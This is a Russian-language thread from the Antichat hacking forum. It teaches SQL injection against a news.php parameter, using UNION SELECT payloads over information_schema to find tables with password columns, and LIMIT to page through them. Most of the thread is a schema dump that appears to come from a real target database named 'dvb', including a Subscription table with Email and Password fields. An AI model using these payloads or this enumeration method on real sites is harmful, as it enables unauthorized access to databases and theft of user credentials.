ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Может для начинающего это и лишния информация, но все таки...
Дабы упростить поск таблиц где есть поля "login"&"password" к (примеру..
Можно воспользоваться оператором like
Синтаксис такой:
news.php?id=-349+union+select+1,concat_ws(0x3a,table_name,table _schema),3,4,5,6,7,8,9+from+ information_schema.columns+where+column_name+like+'password'--+
Данный запрос выведет:
Имя таблици и названия базы, где есть поля password/* так же при необходимости слово password моно перевести в 16й код..
Так же моно листать через оператор limit
news.php?id=-349+union+select+1,concat_ws(0x3a,table_name,table _schema),3,4,5,6,7,8,9+from+ information_schema.columns+where+column_name+like+'password'+lim it+1,1--+

а данный запрос выводит одно название базы где есть поля password/* или все?
получаем: Subscription:dvb т.е. table_name=Subscription
db_name=dvb ?

table_name=Subscription - имя таблици где есть колонка "password"
db_name=dvb - имя бд в которой находится таблица "Subscription"
с колонкой "password"

Для вывода логина и пасс имя БД нам необязательно?

dvb.B_Banner_Counter=>id
dvb.B_Banner_Counter=>hdr
dvb.B_Banner_Pages=>id
dvb.B_Banner_Pages=>filename
dvb.B_Banner_Pages=>page
dvb.B_Banners=>ID
dvb.B_Banners=>BannerName
dvb.B_Banners=>Banner_Image
dvb.B_Banners=>URL
dvb.B_Banners=>url_type
dvb.B_Banners=>position
dvb.B_Banners=>pages
dvb.B_Banners=>Active
dvb.B_Comment=>ID
dvb.B_Comment=>Date
dvb.B_Comment=>Name
dvb.B_Comment=>Comment
dvb.B_Comment=>Country
dvb.B_Comment=>Email
dvb.B_Comment=>PhotoName
dvb.B_Comment=>Display
dvb.B_Contact=>ID
dvb.B_Contact=>Title
dvb.B_Contact=>Address
dvb.B_Contact=>Phone
dvb.B_Contact=>Email
dvb.B_Contact=>DispOrder
dvb.B_Docs=>ID
dvb.B_Docs=>Title
dvb.B_Docs=>Date
dvb.B_Docs=>Description
dvb.B_Docs=>Keywords
dvb.B_Docs=>DocName
dvb.B_Docs=>PhotoName
dvb.B_Docs=>VoiceName
dvb.B_Docs_Related=>ID
dvb.B_Docs_Related=>News_ID
dvb.B_Docs_Related=>Related
dvb.B_Featured_Comments=>ID
dvb.B_Featured_Comments=>Date
dvb.B_Featured_Comments=>Name
dvb.B_Featured_Comments=>Comment
dvb.B_Featured_Comments=>Country
dvb.B_Featured_Comments=>Email
dvb.B_Featured_Comments=>Article
dvb.B_Featured_Comments=>Display
dvb.B_History=>ID
dvb.B_History=>MonthDay
dvb.B_History=>Year
dvb.B_History=>Date
dvb.B_History=>Details
dvb.B_History=>Keywords
dvb.B_History=>PhotoName
dvb.B_History=>Approved
dvb.B_LetsTalk=>ID
dvb.B_LetsTalk=>Topic
dvb.B_LetsTalk=>Discussion
dvb.B_LetsTalk=>PhotoName
dvb.B_LetsTalk=>Photo2
dvb.B_LetsTalk=>UsePhoto2
dvb.B_LetsTalk=>Main
dvb.B_LetsTalk_Response=>ID
dvb.B_LetsTalk_Response=>Topic
dvb.B_LetsTalk_Response=>Name
dvb.B_LetsTalk_Response=>Country
dvb.B_LetsTalk_Response=>Email
dvb.B_LetsTalk_Response=>Comment
dvb.B_LetsTalk_Response=>DocName
dvb.B_LetsTalk_Response=>Approved
dvb.B_News=>ID
dvb.B_News=>Title
dvb.B_News=>Date
dvb.B_News=>Article
dvb.B_News=>Keywords
dvb.B_News=>PhotoName
dvb.B_News=>PhotoCap1
dvb.B_News=>PhotoName2
dvb.B_News=>PhotoCap2
dvb.B_News=>PhotoName3
dvb.B_News=>PhotoCap3
dvb.B_News=>Viewed
dvb.B_News=>Featured
dvb.B_News=>Added
dvb.B_News=>Archive
dvb.B_News=>VoiceName
dvb.B_News=>Wire
dvb.B_News=>Opinion
dvb.B_News=>Interview
dvb.B_News=>Breaking
dvb.B_News=>Show_H
dvb.B_News=>PhotoArticle
dvb.B_News=>Local
dvb.B_News_Related=>ID
dvb.B_News_Related=>News_ID
dvb.B_News_Related=>Related
dvb.B_Photo_Category=>ID
dvb.B_Photo_Category=>Cat
dvb.B_Photo_Category=>Parent
dvb.B_Photos=>ID
dvb.B_Photos=>Title
dvb.B_Photos=>Date
dvb.B_Photos=>Caption
dvb.B_Photos=>PhotoName
dvb.B_Photos=>PhotoName2
dvb.B_Photos=>CapName
dvb.B_Photos=>Archive
dvb.B_Photos=>Related
dvb.B_Photos=>Category1
dvb.B_Photos=>Category
dvb.B_Photos=>Keywords
dvb.B_Photos=>Credit
dvb.B_Photos=>Main
dvb.B_Programs=>ID
dvb.B_Programs=>Title
dvb.B_Programs=>Description
dvb.B_Programs=>SoundName
dvb.B_Programs=>DayOfWeek
dvb.B_Programs_Date=>ID
dvb.B_Programs_Date=>Display
dvb.B_Site_Category=>ID
dvb.B_Site_Category=>Cat
dvb.B_Sites=>ID
dvb.B_Sites=>Name
dvb.B_Sites=>URL
dvb.B_Sites=>Description
dvb.B_Sites=>Keywords
dvb.B_Sites=>Category
dvb.B_Sites=>Email
dvb.B_Sites=>Country
dvb.B_Sites=>Approved
dvb.B_Sites_Related=>ID
dvb.B_Sites_Related=>News_ID
dvb.B_Sites_Related=>Related
dvb.B_TVNews=>ID
dvb.B_TVNews=>Title
dvb.B_TVNews=>Date
dvb.B_TVNews=>Article
dvb.B_TVNews=>Keywords
dvb.B_TVNews=>PhotoName
dvb.B_TVNews=>VideoName
dvb.B_TVNews=>Featured
dvb.B_TVNews=>Archive
dvb.B_TVNews=>VidDoc
dvb.B_TVNews=>PhotoArticle
dvb.B_Vote=>ID
dvb.B_Vote=>Topic
dvb.B_Vote=>Type
dvb.B_Vote=>Main
dvb.B_Vote_Results=>ID
dvb.B_Vote_Results=>Topic
dvb.B_Vote_Results=>Choice
dvb.B_Vote_Results=>Votes
dvb.B_Vote_Results=>IP_Add
dvb.B_Votes=>ID
dvb.B_Votes=>Topic
dvb.B_Votes=>Choice
dvb.B_Votes=>Vote
dvb.B_Votes=>IP_Add
dvb.E_Aboutus=>id
dvb.E_Aboutus=>title
dvb.E_Aboutus=>Description
dvb.E_Aboutus=>main
dvb.E_Banner_Counter=>id
dvb.E_Banner_Counter=>hdr
dvb.E_Banner_Pages=>id
dvb.E_Banner_Pages=>filename
dvb.E_Banner_Pages=>page
dvb.E_Banners=>ID
dvb.E_Banners=>BannerName
dvb.E_Banners=>Banner_Image
dvb.E_Banners=>URL
dvb.E_Banners=>url_type
dvb.E_Banners=>position
dvb.E_Banners=>pages
dvb.E_Banners=>Active
dvb.E_Comment=>ID
dvb.E_Comment=>Date
dvb.E_Comment=>Name
dvb.E_Comment=>Comment
dvb.E_Comment=>Country
dvb.E_Comment=>Email
dvb.E_Comment=>PhotoName
dvb.E_Comment=>Display
dvb.E_Contact=>ID
dvb.E_Contact=>Title
dvb.E_Contact=>Address
dvb.E_Contact=>Phone
dvb.E_Contact=>Email
dvb.E_Contact=>DispOrder
dvb.E_Docs=>ID
dvb.E_Docs=>Title
dvb.E_Docs=>Date
dvb.E_Docs=>Description
dvb.E_Docs=>Keywords
dvb.E_Docs=>DocName
dvb.E_Docs=>PhotoName
dvb.E_Docs=>VoiceName
dvb.E_Docs_Related=>ID
dvb.E_Docs_Related=>News_ID
dvb.E_Docs_Related=>Related
dvb.E_Donation=>id
dvb.E_Donation=>Description
dvb.E_Donation=>main
dvb.E_Donation=>title
dvb.E_History=>ID
dvb.E_History=>MonthDay
dvb.E_History=>Year
dvb.E_History=>Date
dvb.E_History=>Details
dvb.E_History=>Keywords
dvb.E_History=>PhotoName
dvb.E_History=>Approved
dvb.E_LetsTalk=>ID
dvb.E_LetsTalk=>Topic
dvb.E_LetsTalk=>Discussion
dvb.E_LetsTalk=>PhotoName
dvb.E_LetsTalk=>Photo2
dvb.E_LetsTalk=>Main
dvb.E_LetsTalk_Response=>ID
dvb.E_LetsTalk_Response=>Topic
dvb.E_LetsTalk_Response=>Name
dvb.E_LetsTalk_Response=>Country
dvb.E_LetsTalk_Response=>Email
dvb.E_LetsTalk_Response=>Comment
dvb.E_LetsTalk_Response=>DocName
dvb.E_LetsTalk_Response=>Approved
dvb.E_News=>ID
dvb.E_News=>Title
dvb.E_News=>Date
dvb.E_News=>Article
dvb.E_News=>Keywords
dvb.E_News=>PhotoName
dvb.E_News=>PhotoCap1
dvb.E_News=>PhotoName2
dvb.E_News=>PhotoCap2
dvb.E_News=>PhotoName3
dvb.E_News=>PhotoCap3
dvb.E_News=>Viewed
dvb.E_News=>Featured
dvb.E_News=>Added
dvb.E_News=>Archive
dvb.E_News=>VoiceName
dvb.E_News=>Wire
dvb.E_News=>Opinion
dvb.E_News=>Interview
dvb.E_News=>Breaking
dvb.E_News=>Show_H
dvb.E_News_Related=>ID
dvb.E_News_Related=>News_ID
dvb.E_News_Related=>Related
dvb.E_Photo_Category=>ID
dvb.E_Photo_Category=>Cat
dvb.E_Photo_Category=>Parent
dvb.E_Photos=>ID
dvb.E_Photos=>Title
dvb.E_Photos=>Date
dvb.E_Photos=>Caption
dvb.E_Photos=>PhotoName
dvb.E_Photos=>PhotoName2
dvb.E_Photos=>Archive
dvb.E_Photos=>Related
dvb.E_Photos=>Category1
dvb.E_Photos=>Category
dvb.E_Photos=>Keywords
dvb.E_Photos=>Credit
dvb.E_Photos=>Main
dvb.E_Site_Category=>ID
dvb.E_Site_Category=>Cat
dvb.E_Sites=>ID
dvb.E_Sites=>Name
dvb.E_Sites=>URL
dvb.E_Sites=>Description
dvb.E_Sites=>Keywords
dvb.E_Sites=>Category
dvb.E_Sites=>Email
dvb.E_Sites=>Country
dvb.E_Sites=>Approved
dvb.E_Sites_Related=>ID
dvb.E_Sites_Related=>News_ID
dvb.E_Sites_Related=>Related
dvb.E_Vote=>ID
dvb.E_Vote=>Topic
dvb.E_Vote=>Type
dvb.E_Vote=>Main
dvb.E_Vote_Results=>ID
dvb.E_Vote_Results=>Topic
dvb.E_Vote_Results=>Choice
dvb.E_Vote_Results=>Votes
dvb.E_Vote_Results=>IP_Add
dvb.E_Votes=>ID
dvb.E_Votes=>Topic
dvb.E_Votes=>Choice
dvb.E_Votes=>Vote
dvb.E_Votes=>IP_Add
dvb.E_video=>id
dvb.E_video=>name
dvb.E_video=>email
dvb.E_video=>v_name
dvb.Email_Info=>ID
dvb.Email_Info=>Subject
dvb.Email_Info=>Message
dvb.Email_Info=>Description
dvb.SMS_Codes=>Id
dvb.SMS_Codes=>code
dvb.SMS_Codes=>country
dvb.SMS_Codes=>provider
dvb.Subscription=>ID
dvb.Subscription=>Name
dvb.Subscription=>Email
dvb.Subscription=>Password
dvb.Subscription=>DailyNews
dvb.Subscription=>NewsUpdate
dvb.Subscription=>KeyWrdAlert
dvb.Subscription=>Type
dvb.Subscription=>Lang
dvb.Subscription=>Keywords
dvb.Subscription=>SMS
dvb.Subscription=>SMS_Code
dvb.Subscription=>SMS_Num
dvb.Subscription=>Active
dvb.Subscription=>TempDisable
dvb.Trans_Files=>ID
dvb.Trans_Files=>InstDate
dvb.Trans_Files=>File
dvb.Trans_Files=>Display
dvb.Trans_Files=>Archive
dvb.Trans_Files=>Latest
dvb.verification_codes=>id
dvb.verification_codes=>image
dvb.verification_codes=>code
dvb.verification_counter=>id
dvb.verification_counter=>rotator